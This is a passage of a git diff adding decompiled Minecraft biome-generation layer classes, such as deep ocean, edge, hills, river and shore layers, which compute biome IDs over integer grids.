+              var6[(var8 + var7 * areaWidth)] = extremeHillsPlusbiomeID;
+            }
+          }
+          else if (var9 == swamplandbiomeID)
+          {
+            int var10 = var5[(var8 + 1 + (var7 + 1 - 1) * (areaWidth + 2))];
+            int var11 = var5[(var8 + 1 + 1 + (var7 + 1) * (areaWidth + 2))];
+            int var12 = var5[(var8 + 1 - 1 + (var7 + 1) * (areaWidth + 2))];
+            int var13 = var5[(var8 + 1 + (var7 + 1 + 1) * (areaWidth + 2))];
+            
+            if ((var10 != desertbiomeID) && (var11 != desertbiomeID) && (var12 != desertbiomeID) && (var13 != desertbiomeID) && (var10 != coldTaigabiomeID) && (var11 != coldTaigabiomeID) && (var12 != coldTaigabiomeID) && (var13 != coldTaigabiomeID) && (var10 != icePlainsbiomeID) && (var11 != icePlainsbiomeID) && (var12 != icePlainsbiomeID) && (var13 != icePlainsbiomeID))
+            {
+              if ((var10 != junglebiomeID) && (var13 != junglebiomeID) && (var11 != junglebiomeID) && (var12 != junglebiomeID))
+              {
+                var6[(var8 + var7 * areaWidth)] = var9;
+              }
+              else
+              {
+                var6[(var8 + var7 * areaWidth)] = jungleEdgebiomeID;
+              }
+              
+            }
+            else {
+              var6[(var8 + var7 * areaWidth)] = plainsbiomeID;
+            }
+          }
+          else
+          {
+            var6[(var8 + var7 * areaWidth)] = var9;
+          }
+        }
+      }
+    }
+    
+    return var6;
+  }
+  
+
+
+
+  private boolean replaceBiomeEdgeIfNecessary(int[] p_151636_1_, int[] p_151636_2_, int p_151636_3_, int p_151636_4_, int p_151636_5_, int p_151636_6_, int p_151636_7_, int p_151636_8_)
+  {
+    if (!biomesEqualOrMesaPlateau(p_151636_6_, p_151636_7_))
+    {
+      return false;
+    }
+    
+
+    int var9 = p_151636_1_[(p_151636_3_ + 1 + (p_151636_4_ + 1 - 1) * (p_151636_5_ + 2))];
+    int var10 = p_151636_1_[(p_151636_3_ + 1 + 1 + (p_151636_4_ + 1) * (p_151636_5_ + 2))];
+    int var11 = p_151636_1_[(p_151636_3_ + 1 - 1 + (p_151636_4_ + 1) * (p_151636_5_ + 2))];
+    int var12 = p_151636_1_[(p_151636_3_ + 1 + (p_151636_4_ + 1 + 1) * (p_151636_5_ + 2))];
+    
+    if ((canBiomesBeNeighbors(var9, p_151636_7_)) && (canBiomesBeNeighbors(var10, p_151636_7_)) && (canBiomesBeNeighbors(var11, p_151636_7_)) && (canBiomesBeNeighbors(var12, p_151636_7_)))
+    {
+      p_151636_2_[(p_151636_3_ + p_151636_4_ * p_151636_5_)] = p_151636_6_;
+    }
+    else
+    {
+      p_151636_2_[(p_151636_3_ + p_151636_4_ * p_151636_5_)] = p_151636_8_;
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  private boolean replaceBiomeEdge(int[] p_151635_1_, int[] p_151635_2_, int p_151635_3_, int p_151635_4_, int p_151635_5_, int p_151635_6_, int p_151635_7_, int p_151635_8_)
+  {
+    if (p_151635_6_ != p_151635_7_)
+    {
+      return false;
+    }
+    
+
+    int var9 = p_151635_1_[(p_151635_3_ + 1 + (p_151635_4_ + 1 - 1) * (p_151635_5_ + 2))];
+    int var10 = p_151635_1_[(p_151635_3_ + 1 + 1 + (p_151635_4_ + 1) * (p_151635_5_ + 2))];
+    int var11 = p_151635_1_[(p_151635_3_ + 1 - 1 + (p_151635_4_ + 1) * (p_151635_5_ + 2))];
+    int var12 = p_151635_1_[(p_151635_3_ + 1 + (p_151635_4_ + 1 + 1) * (p_151635_5_ + 2))];
+    
+    if ((biomesEqualOrMesaPlateau(var9, p_151635_7_)) && (biomesEqualOrMesaPlateau(var10, p_151635_7_)) && (biomesEqualOrMesaPlateau(var11, p_151635_7_)) && (biomesEqualOrMesaPlateau(var12, p_151635_7_)))
+    {
+      p_151635_2_[(p_151635_3_ + p_151635_4_ * p_151635_5_)] = p_151635_6_;
+    }
+    else
+    {
+      p_151635_2_[(p_151635_3_ + p_151635_4_ * p_151635_5_)] = p_151635_8_;
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+  private boolean canBiomesBeNeighbors(int p_151634_1_, int p_151634_2_)
+  {
+    if (biomesEqualOrMesaPlateau(p_151634_1_, p_151634_2_))
+    {
+      return true;
+    }
+    
+
+    BiomeGenBase var3 = BiomeGenBase.getBiome(p_151634_1_);
+    BiomeGenBase var4 = BiomeGenBase.getBiome(p_151634_2_);
+    
+    if ((var3 != null) && (var4 != null))
+    {
+      net.minecraft.world.biome.BiomeGenBase.TempCategory var5 = var3.getTempCategory();
+      net.minecraft.world.biome.BiomeGenBase.TempCategory var6 = var4.getTempCategory();
+      return (var5 == var6) || (var5 == net.minecraft.world.biome.BiomeGenBase.TempCategory.MEDIUM) || (var6 == net.minecraft.world.biome.BiomeGenBase.TempCategory.MEDIUM);
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerDeepOcean.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerDeepOcean.java
new file mode 100644
index 0000000..ebc3ae5
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerDeepOcean.java
@@ -0,0 +1,72 @@
+package net.minecraft.world.gen.layer;
+
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class GenLayerDeepOcean extends GenLayer
+{
+  private static final String __OBFID = "CL_00000546";
+  
+  public GenLayerDeepOcean(long p_i45472_1_, GenLayer p_i45472_3_)
+  {
+    super(p_i45472_1_);
+    parent = p_i45472_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int var5 = areaX - 1;
+    int var6 = areaY - 1;
+    int var7 = areaWidth + 2;
+    int var8 = areaHeight + 2;
+    int[] var9 = parent.getInts(var5, var6, var7, var8);
+    int[] var10 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var11 = 0; var11 < areaHeight; var11++)
+    {
+      for (int var12 = 0; var12 < areaWidth; var12++)
+      {
+        int var13 = var9[(var12 + 1 + (var11 + 1 - 1) * (areaWidth + 2))];
+        int var14 = var9[(var12 + 1 + 1 + (var11 + 1) * (areaWidth + 2))];
+        int var15 = var9[(var12 + 1 - 1 + (var11 + 1) * (areaWidth + 2))];
+        int var16 = var9[(var12 + 1 + (var11 + 1 + 1) * (areaWidth + 2))];
+        int var17 = var9[(var12 + 1 + (var11 + 1) * var7)];
+        int var18 = 0;
+        
+        if (var13 == 0)
+        {
+          var18++;
+        }
+        
+        if (var14 == 0)
+        {
+          var18++;
+        }
+        
+        if (var15 == 0)
+        {
+          var18++;
+        }
+        
+        if (var16 == 0)
+        {
+          var18++;
+        }
+        
+        if ((var17 == 0) && (var18 > 3))
+        {
+          var10[(var12 + var11 * areaWidth)] = deepOceanbiomeID;
+        }
+        else
+        {
+          var10[(var12 + var11 * areaWidth)] = var17;
+        }
+      }
+    }
+    
+    return var10;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerEdge.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerEdge.java
new file mode 100644
index 0000000..8b60fd9
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerEdge.java
@@ -0,0 +1,180 @@
+package net.minecraft.world.gen.layer;
+
+public class GenLayerEdge extends GenLayer
+{
+  private final Mode field_151627_c;
+  private static final String __OBFID = "CL_00000547";
+  
+  public GenLayerEdge(long p_i45474_1_, GenLayer p_i45474_3_, Mode p_i45474_4_)
+  {
+    super(p_i45474_1_);
+    parent = p_i45474_3_;
+    field_151627_c = p_i45474_4_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    switch (SwitchMode.field_151642_a[field_151627_c.ordinal()])
+    {
+    case 1: 
+    default: 
+      return getIntsCoolWarm(areaX, areaY, areaWidth, areaHeight);
+    
+    case 2: 
+      return getIntsHeatIce(areaX, areaY, areaWidth, areaHeight);
+    }
+    
+    return getIntsSpecial(areaX, areaY, areaWidth, areaHeight);
+  }
+  
+
+  private int[] getIntsCoolWarm(int p_151626_1_, int p_151626_2_, int p_151626_3_, int p_151626_4_)
+  {
+    int var5 = p_151626_1_ - 1;
+    int var6 = p_151626_2_ - 1;
+    int var7 = 1 + p_151626_3_ + 1;
+    int var8 = 1 + p_151626_4_ + 1;
+    int[] var9 = parent.getInts(var5, var6, var7, var8);
+    int[] var10 = IntCache.getIntCache(p_151626_3_ * p_151626_4_);
+    
+    for (int var11 = 0; var11 < p_151626_4_; var11++)
+    {
+      for (int var12 = 0; var12 < p_151626_3_; var12++)
+      {
+        initChunkSeed(var12 + p_151626_1_, var11 + p_151626_2_);
+        int var13 = var9[(var12 + 1 + (var11 + 1) * var7)];
+        
+        if (var13 == 1)
+        {
+          int var14 = var9[(var12 + 1 + (var11 + 1 - 1) * var7)];
+          int var15 = var9[(var12 + 1 + 1 + (var11 + 1) * var7)];
+          int var16 = var9[(var12 + 1 - 1 + (var11 + 1) * var7)];
+          int var17 = var9[(var12 + 1 + (var11 + 1 + 1) * var7)];
+          boolean var18 = (var14 == 3) || (var15 == 3) || (var16 == 3) || (var17 == 3);
+          boolean var19 = (var14 == 4) || (var15 == 4) || (var16 == 4) || (var17 == 4);
+          
+          if ((var18) || (var19))
+          {
+            var13 = 2;
+          }
+        }
+        
+        var10[(var12 + var11 * p_151626_3_)] = var13;
+      }
+    }
+    
+    return var10;
+  }
+  
+  private int[] getIntsHeatIce(int p_151624_1_, int p_151624_2_, int p_151624_3_, int p_151624_4_)
+  {
+    int var5 = p_151624_1_ - 1;
+    int var6 = p_151624_2_ - 1;
+    int var7 = 1 + p_151624_3_ + 1;
+    int var8 = 1 + p_151624_4_ + 1;
+    int[] var9 = parent.getInts(var5, var6, var7, var8);
+    int[] var10 = IntCache.getIntCache(p_151624_3_ * p_151624_4_);
+    
+    for (int var11 = 0; var11 < p_151624_4_; var11++)
+    {
+      for (int var12 = 0; var12 < p_151624_3_; var12++)
+      {
+        int var13 = var9[(var12 + 1 + (var11 + 1) * var7)];
+        
+        if (var13 == 4)
+        {
+          int var14 = var9[(var12 + 1 + (var11 + 1 - 1) * var7)];
+          int var15 = var9[(var12 + 1 + 1 + (var11 + 1) * var7)];
+          int var16 = var9[(var12 + 1 - 1 + (var11 + 1) * var7)];
+          int var17 = var9[(var12 + 1 + (var11 + 1 + 1) * var7)];
+          boolean var18 = (var14 == 2) || (var15 == 2) || (var16 == 2) || (var17 == 2);
+          boolean var19 = (var14 == 1) || (var15 == 1) || (var16 == 1) || (var17 == 1);
+          
+          if ((var19) || (var18))
+          {
+            var13 = 3;
+          }
+        }
+        
+        var10[(var12 + var11 * p_151624_3_)] = var13;
+      }
+    }
+    
+    return var10;
+  }
+  
+  private int[] getIntsSpecial(int p_151625_1_, int p_151625_2_, int p_151625_3_, int p_151625_4_)
+  {
+    int[] var5 = parent.getInts(p_151625_1_, p_151625_2_, p_151625_3_, p_151625_4_);
+    int[] var6 = IntCache.getIntCache(p_151625_3_ * p_151625_4_);
+    
+    for (int var7 = 0; var7 < p_151625_4_; var7++)
+    {
+      for (int var8 = 0; var8 < p_151625_3_; var8++)
+      {
+        initChunkSeed(var8 + p_151625_1_, var7 + p_151625_2_);
+        int var9 = var5[(var8 + var7 * p_151625_3_)];
+        
+        if ((var9 != 0) && (nextInt(13) == 0))
+        {
+          var9 |= 1 + nextInt(15) << 8 & 0xF00;
+        }
+        
+        var6[(var8 + var7 * p_151625_3_)] = var9;
+      }
+    }
+    
+    return var6;
+  }
+  
+  public static enum Mode
+  {
+    COOL_WARM("COOL_WARM", 0), 
+    HEAT_ICE("HEAT_ICE", 1), 
+    SPECIAL("SPECIAL", 2);
+    
+    private static final Mode[] $VALUES = { COOL_WARM, HEAT_ICE, SPECIAL };
+    private static final String __OBFID = "CL_00000549";
+    
+    private Mode(String p_i45473_1_, int p_i45473_2_) {}
+  }
+  
+  static final class SwitchMode
+  {
+    static final int[] field_151642_a = new int[GenLayerEdge.Mode.values().length];
+    private static final String __OBFID = "CL_00000548";
+    
+    static
+    {
+      try
+      {
+        field_151642_a[GenLayerEdge.Mode.COOL_WARM.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_151642_a[GenLayerEdge.Mode.HEAT_ICE.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_151642_a[GenLayerEdge.Mode.SPECIAL.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+    }
+    
+    SwitchMode() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerFuzzyZoom.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerFuzzyZoom.java
new file mode 100644
index 0000000..d92e582
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerFuzzyZoom.java
@@ -0,0 +1,19 @@
+package net.minecraft.world.gen.layer;
+
+public class GenLayerFuzzyZoom extends GenLayerZoom
+{
+  private static final String __OBFID = "CL_00000556";
+  
+  public GenLayerFuzzyZoom(long p_i2123_1_, GenLayer p_i2123_3_)
+  {
+    super(p_i2123_1_, p_i2123_3_);
+  }
+  
+
+
+
+  protected int selectModeOrRandom(int p_151617_1_, int p_151617_2_, int p_151617_3_, int p_151617_4_)
+  {
+    return selectRandom(new int[] { p_151617_1_, p_151617_2_, p_151617_3_, p_151617_4_ });
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerHills.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerHills.java
new file mode 100644
index 0000000..18e2b7a
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerHills.java
@@ -0,0 +1,200 @@
+package net.minecraft.world.gen.layer;
+
+import net.minecraft.world.biome.BiomeGenBase;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class GenLayerHills extends GenLayer
+{
+  private static final Logger logger = ;
+  private GenLayer field_151628_d;
+  private static final String __OBFID = "CL_00000563";
+  
+  public GenLayerHills(long p_i45479_1_, GenLayer p_i45479_3_, GenLayer p_i45479_4_)
+  {
+    super(p_i45479_1_);
+    parent = p_i45479_3_;
+    field_151628_d = p_i45479_4_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int[] var5 = parent.getInts(areaX - 1, areaY - 1, areaWidth + 2, areaHeight + 2);
+    int[] var6 = field_151628_d.getInts(areaX - 1, areaY - 1, areaWidth + 2, areaHeight + 2);
+    int[] var7 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var8 = 0; var8 < areaHeight; var8++)
+    {
+      for (int var9 = 0; var9 < areaWidth; var9++)
+      {
+        initChunkSeed(var9 + areaX, var8 + areaY);
+        int var10 = var5[(var9 + 1 + (var8 + 1) * (areaWidth + 2))];
+        int var11 = var6[(var9 + 1 + (var8 + 1) * (areaWidth + 2))];
+        boolean var12 = (var11 - 2) % 29 == 0;
+        
+        if (var10 > 255)
+        {
+          logger.debug("old! " + var10);
+        }
+        
+        if ((var10 != 0) && (var11 >= 2) && ((var11 - 2) % 29 == 1) && (var10 < 128))
+        {
+          if (BiomeGenBase.getBiome(var10 + 128) != null)
+          {
+            var7[(var9 + var8 * areaWidth)] = (var10 + 128);
+          }
+          else
+          {
+            var7[(var9 + var8 * areaWidth)] = var10;
+          }
+        }
+        else if ((nextInt(3) != 0) && (!var12))
+        {
+          var7[(var9 + var8 * areaWidth)] = var10;
+        }
+        else
+        {
+          int var13 = var10;
+          
+
+          if (var10 == desertbiomeID)
+          {
+            var13 = desertHillsbiomeID;
+          }
+          else if (var10 == forestbiomeID)
+          {
+            var13 = forestHillsbiomeID;
+          }
+          else if (var10 == birchForestbiomeID)
+          {
+            var13 = birchForestHillsbiomeID;
+          }
+          else if (var10 == roofedForestbiomeID)
+          {
+            var13 = plainsbiomeID;
+          }
+          else if (var10 == taigabiomeID)
+          {
+            var13 = taigaHillsbiomeID;
+          }
+          else if (var10 == megaTaigabiomeID)
+          {
+            var13 = megaTaigaHillsbiomeID;
+          }
+          else if (var10 == coldTaigabiomeID)
+          {
+            var13 = coldTaigaHillsbiomeID;
+          }
+          else if (var10 == plainsbiomeID)
+          {
+            if (nextInt(3) == 0)
+            {
+              var13 = forestHillsbiomeID;
+            }
+            else
+            {
+              var13 = forestbiomeID;
+            }
+          }
+          else if (var10 == icePlainsbiomeID)
+          {
+            var13 = iceMountainsbiomeID;
+          }
+          else if (var10 == junglebiomeID)
+          {
+            var13 = jungleHillsbiomeID;
+          }
+          else if (var10 == oceanbiomeID)
+          {
+            var13 = deepOceanbiomeID;
+          }
+          else if (var10 == extremeHillsbiomeID)
+          {
+            var13 = extremeHillsPlusbiomeID;
+          }
+          else if (var10 == savannabiomeID)
+          {
+            var13 = savannaPlateaubiomeID;
+          }
+          else if (biomesEqualOrMesaPlateau(var10, mesaPlateau_FbiomeID))
+          {
+            var13 = mesabiomeID;
+          }
+          else if ((var10 == deepOceanbiomeID) && (nextInt(3) == 0))
+          {
+            int var14 = nextInt(2);
+            
+            if (var14 == 0)
+            {
+              var13 = plainsbiomeID;
+            }
+            else
+            {
+              var13 = forestbiomeID;
+            }
+          }
+          
+          if ((var12) && (var13 != var10))
+          {
+            if (BiomeGenBase.getBiome(var13 + 128) != null)
+            {
+              var13 += 128;
+            }
+            else
+            {
+              var13 = var10;
+            }
+          }
+          
+          if (var13 == var10)
+          {
+            var7[(var9 + var8 * areaWidth)] = var10;
+          }
+          else
+          {
+            int var14 = var5[(var9 + 1 + (var8 + 1 - 1) * (areaWidth + 2))];
+            int var15 = var5[(var9 + 1 + 1 + (var8 + 1) * (areaWidth + 2))];
+            int var16 = var5[(var9 + 1 - 1 + (var8 + 1) * (areaWidth + 2))];
+            int var17 = var5[(var9 + 1 + (var8 + 1 + 1) * (areaWidth + 2))];
+            int var18 = 0;
+            
+            if (biomesEqualOrMesaPlateau(var14, var10))
+            {
+              var18++;
+            }
+            
+            if (biomesEqualOrMesaPlateau(var15, var10))
+            {
+              var18++;
+            }
+            
+            if (biomesEqualOrMesaPlateau(var16, var10))
+            {
+              var18++;
+            }
+            
+            if (biomesEqualOrMesaPlateau(var17, var10))
+            {
+              var18++;
+            }
+            
+            if (var18 >= 3)
+            {
+              var7[(var9 + var8 * areaWidth)] = var13;
+            }
+            else
+            {
+              var7[(var9 + var8 * areaWidth)] = var10;
+            }
+          }
+        }
+      }
+    }
+    
+    return var7;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerIsland.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerIsland.java
new file mode 100644
index 0000000..3137ead
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerIsland.java
@@ -0,0 +1,36 @@
+package net.minecraft.world.gen.layer;
+
+public class GenLayerIsland extends GenLayer
+{
+  private static final String __OBFID = "CL_00000558";
+  
+  public GenLayerIsland(long p_i2124_1_)
+  {
+    super(p_i2124_1_);
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int[] var5 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var6 = 0; var6 < areaHeight; var6++)
+    {
+      for (int var7 = 0; var7 < areaWidth; var7++)
+      {
+        initChunkSeed(areaX + var7, areaY + var6);
+        var5[(var7 + var6 * areaWidth)] = (nextInt(10) == 0 ? 1 : 0);
+      }
+    }
+    
+    if ((areaX > -areaWidth) && (areaX <= 0) && (areaY > -areaHeight) && (areaY <= 0))
+    {
+      var5[(-areaX + -areaY * areaWidth)] = 1;
+    }
+    
+    return var5;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerRareBiome.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerRareBiome.java
new file mode 100644
index 0000000..ce8a2a1
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerRareBiome.java
@@ -0,0 +1,51 @@
+package net.minecraft.world.gen.layer;
+
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class GenLayerRareBiome extends GenLayer
+{
+  private static final String __OBFID = "CL_00000562";
+  
+  public GenLayerRareBiome(long p_i45478_1_, GenLayer p_i45478_3_)
+  {
+    super(p_i45478_1_);
+    parent = p_i45478_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int[] var5 = parent.getInts(areaX - 1, areaY - 1, areaWidth + 2, areaHeight + 2);
+    int[] var6 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var7 = 0; var7 < areaHeight; var7++)
+    {
+      for (int var8 = 0; var8 < areaWidth; var8++)
+      {
+        initChunkSeed(var8 + areaX, var7 + areaY);
+        int var9 = var5[(var8 + 1 + (var7 + 1) * (areaWidth + 2))];
+        
+        if (nextInt(57) == 0)
+        {
+          if (var9 == plainsbiomeID)
+          {
+            var6[(var8 + var7 * areaWidth)] = (plainsbiomeID + 128);
+          }
+          else
+          {
+            var6[(var8 + var7 * areaWidth)] = var9;
+          }
+          
+        }
+        else {
+          var6[(var8 + var7 * areaWidth)] = var9;
+        }
+      }
+    }
+    
+    return var6;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerRemoveTooMuchOcean.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerRemoveTooMuchOcean.java
new file mode 100644
index 0000000..156eff5
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerRemoveTooMuchOcean.java
@@ -0,0 +1,47 @@
+package net.minecraft.world.gen.layer;
+
+public class GenLayerRemoveTooMuchOcean extends GenLayer
+{
+  private static final String __OBFID = "CL_00000564";
+  
+  public GenLayerRemoveTooMuchOcean(long p_i45480_1_, GenLayer p_i45480_3_)
+  {
+    super(p_i45480_1_);
+    parent = p_i45480_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int var5 = areaX - 1;
+    int var6 = areaY - 1;
+    int var7 = areaWidth + 2;
+    int var8 = areaHeight + 2;
+    int[] var9 = parent.getInts(var5, var6, var7, var8);
+    int[] var10 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var11 = 0; var11 < areaHeight; var11++)
+    {
+      for (int var12 = 0; var12 < areaWidth; var12++)
+      {
+        int var13 = var9[(var12 + 1 + (var11 + 1 - 1) * (areaWidth + 2))];
+        int var14 = var9[(var12 + 1 + 1 + (var11 + 1) * (areaWidth + 2))];
+        int var15 = var9[(var12 + 1 - 1 + (var11 + 1) * (areaWidth + 2))];
+        int var16 = var9[(var12 + 1 + (var11 + 1 + 1) * (areaWidth + 2))];
+        int var17 = var9[(var12 + 1 + (var11 + 1) * var7)];
+        var10[(var12 + var11 * areaWidth)] = var17;
+        initChunkSeed(var12 + areaX, var11 + areaY);
+        
+        if ((var17 == 0) && (var13 == 0) && (var14 == 0) && (var15 == 0) && (var16 == 0) && (nextInt(2) == 0))
+        {
+          var10[(var12 + var11 * areaWidth)] = 1;
+        }
+      }
+    }
+    
+    return var10;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerRiver.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerRiver.java
new file mode 100644
index 0000000..eb8f7db
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerRiver.java
@@ -0,0 +1,56 @@
+package net.minecraft.world.gen.layer;
+
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class GenLayerRiver extends GenLayer
+{
+  private static final String __OBFID = "CL_00000566";
+  
+  public GenLayerRiver(long p_i2128_1_, GenLayer p_i2128_3_)
+  {
+    super(p_i2128_1_);
+    parent = p_i2128_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int var5 = areaX - 1;
+    int var6 = areaY - 1;
+    int var7 = areaWidth + 2;
+    int var8 = areaHeight + 2;
+    int[] var9 = parent.getInts(var5, var6, var7, var8);
+    int[] var10 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var11 = 0; var11 < areaHeight; var11++)
+    {
+      for (int var12 = 0; var12 < areaWidth; var12++)
+      {
+        int var13 = func_151630_c(var9[(var12 + 0 + (var11 + 1) * var7)]);
+        int var14 = func_151630_c(var9[(var12 + 2 + (var11 + 1) * var7)]);
+        int var15 = func_151630_c(var9[(var12 + 1 + (var11 + 0) * var7)]);
+        int var16 = func_151630_c(var9[(var12 + 1 + (var11 + 2) * var7)]);
+        int var17 = func_151630_c(var9[(var12 + 1 + (var11 + 1) * var7)]);
+        
+        if ((var17 == var13) && (var17 == var15) && (var17 == var14) && (var17 == var16))
+        {
+          var10[(var12 + var11 * areaWidth)] = -1;
+        }
+        else
+        {
+          var10[(var12 + var11 * areaWidth)] = riverbiomeID;
+        }
+      }
+    }
+    
+    return var10;
+  }
+  
+  private int func_151630_c(int p_151630_1_)
+  {
+    return p_151630_1_ >= 2 ? 2 + (p_151630_1_ & 0x1) : p_151630_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerRiverInit.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerRiverInit.java
new file mode 100644
index 0000000..9c3748e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerRiverInit.java
@@ -0,0 +1,33 @@
+package net.minecraft.world.gen.layer;
+
+public class GenLayerRiverInit extends GenLayer
+{
+  private static final String __OBFID = "CL_00000565";
+  
+  public GenLayerRiverInit(long p_i2127_1_, GenLayer p_i2127_3_)
+  {
+    super(p_i2127_1_);
+    parent = p_i2127_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int[] var5 = parent.getInts(areaX, areaY, areaWidth, areaHeight);
+    int[] var6 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var7 = 0; var7 < areaHeight; var7++)
+    {
+      for (int var8 = 0; var8 < areaWidth; var8++)
+      {
+        initChunkSeed(var8 + areaX, var7 + areaY);
+        var6[(var8 + var7 * areaWidth)] = (var5[(var8 + var7 * areaWidth)] > 0 ? nextInt(299999) + 2 : 0);
+      }
+    }
+    
+    return var6;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerRiverMix.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerRiverMix.java
new file mode 100644
index 0000000..7882b9c
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerRiverMix.java
@@ -0,0 +1,71 @@
+package net.minecraft.world.gen.layer;
+
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class GenLayerRiverMix extends GenLayer
+{
+  private GenLayer biomePatternGeneratorChain;
+  private GenLayer riverPatternGeneratorChain;
+  private static final String __OBFID = "CL_00000567";
+  
+  public GenLayerRiverMix(long p_i2129_1_, GenLayer p_i2129_3_, GenLayer p_i2129_4_)
+  {
+    super(p_i2129_1_);
+    biomePatternGeneratorChain = p_i2129_3_;
+    riverPatternGeneratorChain = p_i2129_4_;
+  }
+  
+
+
+
+
+  public void initWorldGenSeed(long p_75905_1_)
+  {
+    biomePatternGeneratorChain.initWorldGenSeed(p_75905_1_);
+    riverPatternGeneratorChain.initWorldGenSeed(p_75905_1_);
+    super.initWorldGenSeed(p_75905_1_);
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int[] var5 = biomePatternGeneratorChain.getInts(areaX, areaY, areaWidth, areaHeight);
+    int[] var6 = riverPatternGeneratorChain.getInts(areaX, areaY, areaWidth, areaHeight);
+    int[] var7 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var8 = 0; var8 < areaWidth * areaHeight; var8++)
+    {
+      if ((var5[var8] != oceanbiomeID) && (var5[var8] != deepOceanbiomeID))
+      {
+        if (var6[var8] == riverbiomeID)
+        {
+          if (var5[var8] == icePlainsbiomeID)
+          {
+            var7[var8] = frozenRiverbiomeID;
+          }
+          else if ((var5[var8] != mushroomIslandbiomeID) && (var5[var8] != mushroomIslandShorebiomeID))
+          {
+            var6[var8] &= 0xFF;
+          }
+          else
+          {
+            var7[var8] = mushroomIslandShorebiomeID;
+          }
+          
+        }
+        else {
+          var7[var8] = var5[var8];
+        }
+        
+      }
+      else {
+        var7[var8] = var5[var8];
+      }
+    }
+    
+    return var7;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerShore.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerShore.java
new file mode 100644
index 0000000..015f0a0
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerShore.java
@@ -0,0 +1,173 @@
+package net.minecraft.world.gen.layer;
+
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.BiomeGenJungle;
+import net.minecraft.world.biome.BiomeGenMesa;
+
+public class GenLayerShore extends GenLayer
+{
+  private static final String __OBFID = "CL_00000568";
+  
+  public GenLayerShore(long p_i2130_1_, GenLayer p_i2130_3_)
+  {
+    super(p_i2130_1_);
+    parent = p_i2130_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int[] var5 = parent.getInts(areaX - 1, areaY - 1, areaWidth + 2, areaHeight + 2);
+    int[] var6 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var7 = 0; var7 < areaHeight; var7++)
+    {
